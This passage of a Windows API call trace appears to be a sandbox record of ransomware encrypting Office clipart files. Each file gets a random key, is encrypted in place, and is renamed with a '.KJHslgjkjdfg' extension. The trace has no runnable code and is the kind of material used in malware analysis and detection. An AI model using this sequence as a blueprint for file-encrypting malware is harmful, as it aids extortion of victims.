lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.220] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.220] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.220] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b16, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b16, lpOverlapped=0x0) returned 1 [0197.221] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b20) returned 1 [0197.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.222] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b20, lpOverlapped=0x0) returned 1 [0197.222] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.222] SetEndOfFile (hFile=0x130) returned 1 [0197.225] GetProcessHeap () returned 0x2ef0000 [0197.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.225] GetProcessHeap () returned 0x2ef0000 [0197.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.kjhslgjkjdfg")) returned 1 [0197.227] CloseHandle (hObject=0x130) returned 1 [0197.227] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0197.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.243] GetProcessHeap () returned 0x2ef0000 [0197.243] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.243] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.243] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.248] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.248] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.248] GetProcessHeap () returned 0x2ef0000 [0197.248] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.248] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.248] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.249] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.249] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.249] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.249] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.249] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.249] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.249] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.249] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa442, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa442, lpOverlapped=0x0) returned 1 [0197.261] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa450, dwBufLen=0xa450 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa450) returned 1 [0197.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.262] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa450, lpOverlapped=0x0) returned 1 [0197.262] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.262] SetEndOfFile (hFile=0x130) returned 1 [0197.264] GetProcessHeap () returned 0x2ef0000 [0197.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.264] GetProcessHeap () returned 0x2ef0000 [0197.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.kjhslgjkjdfg")) returned 1 [0197.265] CloseHandle (hObject=0x130) returned 1 [0197.265] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0197.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.266] GetProcessHeap () returned 0x2ef0000 [0197.266] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.266] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0197.269] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.269] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.269] GetProcessHeap () returned 0x2ef0000 [0197.269] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.269] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.269] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.270] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.270] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.270] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.270] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.270] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.270] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x136a, lpOverlapped=0x0) returned 1 [0197.272] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0197.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.272] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0197.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.272] SetEndOfFile (hFile=0x130) returned 1 [0197.275] GetProcessHeap () returned 0x2ef0000 [0197.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.275] GetProcessHeap () returned 0x2ef0000 [0197.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.kjhslgjkjdfg")) returned 1 [0197.276] CloseHandle (hObject=0x130) returned 1 [0197.276] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0197.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.277] GetProcessHeap () returned 0x2ef0000 [0197.277] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.277] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0197.533] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.534] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.534] GetProcessHeap () returned 0x2ef0000 [0197.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.534] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.534] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.535] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x60b7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x60b7, lpOverlapped=0x0) returned 1 [0197.571] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60c0, dwBufLen=0x60c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60c0) returned 1 [0197.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.571] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x60c0, lpOverlapped=0x0) returned 1 [0197.572] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.572] SetEndOfFile (hFile=0x130) returned 1 [0197.575] GetProcessHeap () returned 0x2ef0000 [0197.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.575] GetProcessHeap () returned 0x2ef0000 [0197.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.kjhslgjkjdfg")) returned 1 [0197.577] CloseHandle (hObject=0x130) returned 1 [0197.577] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0197.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.578] GetProcessHeap () returned 0x2ef0000 [0197.578] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.578] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.578] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.578] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.580] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.580] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.580] GetProcessHeap () returned 0x2ef0000 [0197.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.580] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.581] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.581] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.581] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 